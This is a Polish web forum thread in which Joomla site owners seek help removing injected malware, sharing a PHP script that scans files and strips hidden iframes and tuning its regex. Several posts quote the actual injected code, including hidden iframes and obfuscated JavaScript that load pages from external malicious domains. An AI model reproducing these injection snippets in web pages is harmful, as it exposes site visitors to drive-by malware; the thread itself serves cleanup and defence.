Skocz do zawartości

Wirus dolepił IFRAME'a


mjery
 Udostępnij

Rekomendowane odpowiedzi

witajcie,

Mam następujący problem. Wirus dokleił mi IFRAME'a, a że stronę mam w Joomli jest tam mnóstwo plików html i php.

Znalazłem na forum skrypt

Skrypt który usuwa wszystkie (lub tylko informuje o potencjalnej infekcji) iframe, wg. podanego schematu czyli:

CYTAT

<iframe src="jakis_adres" width=1 height=1 inne_znaki"></iframe>

Skrypt zapisujemy do pliku jakas_nazwa.php i wgrywamy na serwer i odpalamy :-)

KOD

<?php

$kasuj = 1; #jezeli chcesz tylko informacje o zakazonych plikach, bez usuwania iframe ustaw na 0

$folder = '.'; #wpisz tutaj nazwe przeszukiwanego folderu, kropka onacza wszystkie foldery

function ListFiles($dir) {

if($dh = opendir($dir)) {

$files = Array();

$inner_files = Array();

while($file = readdir($dh)) {

if($file != "." && $file != ".." && $file[0] != '.') {

if(is_dir($dir . "/" . $file)) {

$inner_files = ListFiles($dir . "/" . $file);

if(is_array($inner_files)) $files = array_merge($files, $inner_files);

} else {

$type=stristr($file, '.');

if($type == '.php' OR $type == '.html' OR $type == '.tpl')

array_push($files, $dir . "/" . $file);

}

}

}

closedir($dh);

return $files;

}

}

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

foreach (ListFiles($folder) as $key=>$file){

echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:5px;margin-top:20px;\">Sprawdzam plik <b>".$file ."</b></span>";

$contents=@file_get_contents($file);

$ncontents=preg_replace($pattern, "", $contents, -1, $count);

if($count != '0')

{

if($kasuj == 1)

if(@file_put_contents($file, $ncontents))

echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono i <font color=\"red\">pomyslnie skasowano</font> <b>iframe</b> z pliku <u>".$file."</u></span>";

else

echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono <font color=\"red\">lecz nie udało się usunac</font> <b>iframe</b> z pliku <u>".$file."</u></span>";

}

else

echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:50px;\">Plik <b>".$file."</b> nie jest zainfekowany</span>";

}

?>

Skrypt listuje pliki, po czym szuka iframe o width i height ustawionym na 1, usuwa te ramki po czym próbuje zapisać zawartość pliku bez iframe.

edycja: plik szuka szkodliwego kodu, tylko w plikach z rozszerzeniem .html .php oraz .tpl.

Instrukcja do zmiany w skrypcie (tak mi się wydaje, że tylko to starczy).

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

Wadliwy kod wygląda następująco:

<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=https://zumobtr.ru/gate.php?f=1075993 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->

Należałoby przerobić instrukcję aby skrypt wyszukiwał i usuwał wadliwy kod.

Będę bardzo wdzięczny za pomoc.

  • Like 1
Odnośnik do komentarza
Udostępnij na innych stronach

Mozesz zawsze podmienic

"/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/"[code]

Na adres:

"zum*btr.ru/"

Po czym sprawdzic ktory plik nadegrał i ręcznie wyedytować, zastanów sie tez ktoredy sie dostał na Twoja stronke

Kody -25% na hosting w biznes-host.pl
 

@mcmagik ~ maszyna jest tak głupia, jak jej użytkownik

Odnośnik do komentarza
Udostępnij na innych stronach

jehowy: podmieniłem ale nadal bez rezultatu.

Po uruchomieniu skryptu dostaję następującą informację dotyczącą wszystkich zarażonych plików (nie kasuje zawartości IFRAME).

Sprawdzam plik ./tmp/index.html

Plik ./tmp/index.html nie jest zainfekowany

Sprawdzam plik ./index2.php

Plik ./index2.php nie jest zainfekowany

itd.

Jeśli chodzi o źródło to miałem Total Commandera bez szyfrowania i pewnie tą drogą sie dostali.

Ma ktoś wiedzę z php aby przerobić ten skrypt?

Odnośnik do komentarza
Udostępnij na innych stronach

  • 2 tygodnie później...
Spróbuj w tym skrypcie zmienić:

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

na:

$pattern="/<!--qpi-->(.*)<!--\/qpi-->/";

wielkie dzięki, działa! :D

wirus dokleja jednak kod również do js, np:

/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='https://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/

wiecie jak zmodyfikować pattern oprócz dodania typu pliku .js do przeszukania?

zrobiłem takie coś, ale niestety nie działa..

$pattern="/\/*qpi*\/(.*)\/*qpi*\//";

z góry wielkie dzięki!

Odnośnik do komentarza
Udostępnij na innych stronach

Zadbaj tez o przyczyny bo za kilka dni będziesz znowu "shaczony". Nie ma tygodnia żebym nie miał klienta z tym świństwem. Niektórzy są tak nieporadni (wzorem prawa jazdy prawo do korzystania z komputera? :D ), że problem się bez przerwy powtarza.

Z tego co pamiętam ten konkretny siedzi w rejestrze windowsa i przesyła dane (kradnie) te które wpisujesz/używasz (hasła, loginy, nr kart etc.).

Odnośnik do komentarza
Udostępnij na innych stronach

Tak jak napisałem wyżej, akurat ten qpi to nie jest z TC (chyba, że TAKŻE). Siedzi w rejestrze, przechwytuje wysyłane dane i przesyła dalej. Potem zupełnie normalnie ktos się łączy jakims automatem z IP wietnamskich czy singapurskich, loguje się i skanuje/podmienia wszelkie pliki wg schematu (na ogól </body>).

Odnośnik do komentarza
Udostępnij na innych stronach

(chyba, że TAKŻE).

chyba także, ale pewien nie jestem

Jak ktos korzysta z tego skryptu wyzej niech doda sobie OR $type == '.tpl.php'

Edytowane przez jehowy

Kody -25% na hosting w biznes-host.pl
 

@mcmagik ~ maszyna jest tak głupia, jak jej użytkownik

Odnośnik do komentarza
Udostępnij na innych stronach

  • 7 miesięcy temu...

Witam. Przepraszam za odkopanie ale mam na serwerze około 15 stron na joomli. I do każdego pliku .html .php .js mam doklejony poniżysz kod. Aha zaznaczam że serwer nazwa.pl trzyma backupy tylko za ostatnie 48 godzin a zanim to wykryłem minęło 72godziny.

<?
#0247a1#
																																																																									 echo "																																																																										 <script type=\"text/javascript\" language=\"javascript\" >																																																																										 var _d = document.createElement('iframe'),_l = 'setAttribute';_d[_l]('src', 'https://TRAFFBILL.ME/deriving/naturally_areas.php');_d.style.position = 'absolute';_d.style.width = '10px';_d[_l]('frameborder', navigator.userAgent.indexOf('1982da8197443bd758b347890dd63390') + 1);_d.style.left = '-5240px';document.write('<div id=\'PL_ADS\'></div>');document.getElementById('PL_ADS').appendChild(_d);</script>";
#/0247a1#
?>

A oto kod bez "oryginalnych" spacji

<?
#0247a1#
echo "
<script type=\"text/javascript\" language=\"javascript\" >
var _d = document.createElement('iframe'),_l = 'setAttribute';_d[_l]('src', 'https://TRAFFBILL.ME/deriving/naturally_areas.php');_d.style.position = 'absolute';_d.style.width = '10px';_d[_l]('frameborder', navigator.userAgent.indexOf('1982da8197443bd758b347890dd63390') + 1);_d.style.left = '-5240px';document.write('<div id=\'PL_ADS\'></div>');document.getElementById('PL_ADS').appendChild(_d);</script>";
#/0247a1#
?>

Proszę o podanie tego wyrażenia do linijki pattern bo kombinuje i nic nie wychodzi. A modyfikować kilkanaście tysięcy plików ręcznie to kupa czasu. Pozdrawiam

Edytowane przez pezet40
Odnośnik do komentarza
Udostępnij na innych stronach

@pezet40

a nie masz kopii plików na swoim dysku?

Podobno ludzie dzielą się na tych, którzy robią backup i tych którzy będą robić... ;)

Ogólnie rzecz biorąc to IMHO najlepszy, najszybszy i najłatwiejszy sposób to wgranie plików na nowo.

Na przyszłość:

1. wszystkie pliki trzymamy u siebie na dysku

2. w kliencie ftp można podać wszystkie dane oprócz hasła, bez względu czy to TC z szyfrowaniem, Filezilla, czy inny klient

3. aktualizujemy skrypty, a w razie włamu zmieniamy hasła.

Odnośnik do komentarza
Udostępnij na innych stronach

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się
 Udostępnij

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Warunki użytkowania Polityka prywatności